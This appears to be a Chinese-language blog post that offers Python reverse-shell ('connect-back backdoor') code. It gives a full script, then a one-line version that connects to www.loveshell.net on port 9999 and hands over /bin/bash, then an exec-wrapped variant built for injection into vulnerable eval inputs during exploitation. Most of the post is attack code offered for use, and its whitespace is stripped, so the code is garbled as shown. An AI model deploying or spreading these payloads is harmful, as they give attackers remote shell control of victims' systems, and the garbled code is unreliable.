不知道怎么忽然想看這個,呵呵
小我的python的反shell的代碼
#!/usr/bin/python
#PythonConnect-backBackdoor
#Author:wofeiwo
#Version:1.0
#Date:July15th2006
importsys
importos
importsocket
shell="/bin/sh"
defusage(programname):
print"PythonConnect-backBackdoor"
print"Auther:wofeiwo"
print"Date:July15th2006/n"
print"Usage:%s/n"%programname
defmain():
iflen(sys.argv)!=3:
usage(sys.argv[0])
sys.exit(1)
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((socket.gethostbyname(sys.argv[1]),int(sys.argv[2])))
print"[+]Connectok."
except:
print"[-]Couldnotconnectto%s:%s"%(sys.argv[1],sys.argv[2])
sys.exit(2)
s.send("--------------------PythonConnect-backBackdoor--------------------/n")
s.send("-----------------------------Bywofeiwo-----------------------------/n")
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
globalshell
os.system(shell)
print"SeeU!"
s.close()
if__name__=="__main__":main()
用在漏洞利用的時候不太好,不是么?我們想要短點的,節省下就是
importsys;importos;importsocket;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((socket.gethostbyname("www.loveshell.net"),9999));s.send("Welcomemymaster/r/n");os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);s.send("Isthereashell?/r/n");os.system("/bin/bash");s.close();s.send("Seeunexttime!/r/n");
如何?很短了吧?
不過很可能漏洞利用的地方不允許多語句,譬如允許的輸入是在eval當中,不能多語句(后面有解釋)那么還可以變化下
exec'importsys;importos;importsocket;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((socket.gethostbyname("www.loveshell.net"),9999));s.send("Welcomemymaster//r//n");os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);s.send("Isthereashell?//r//n");os.system("/bin/bash");s.close();s.send("Seeunexttime!//r//n");';
注意是//r//n哦,即使在''里好象/r/n一樣會成為換行,所以其實這里即使不用;一樣可以構造好代碼的,另外,為什么不用eval呢?
翻了下手冊
exec語句用來執行儲存在字符串或文件中的Python語句。例如,我們可以在運行時生成一個包含Python代碼的字符串,然后使用exec語句執行這些語句
eval語句用來計算存儲在字符串中的有效Python表達式
呵呵,這里用eval好象會出錯.
YY一下,思想是相同的,但是具體到語言又是不一樣的,如何跳出語言的限制呢?是個問題......
新聞熱點
疑難解答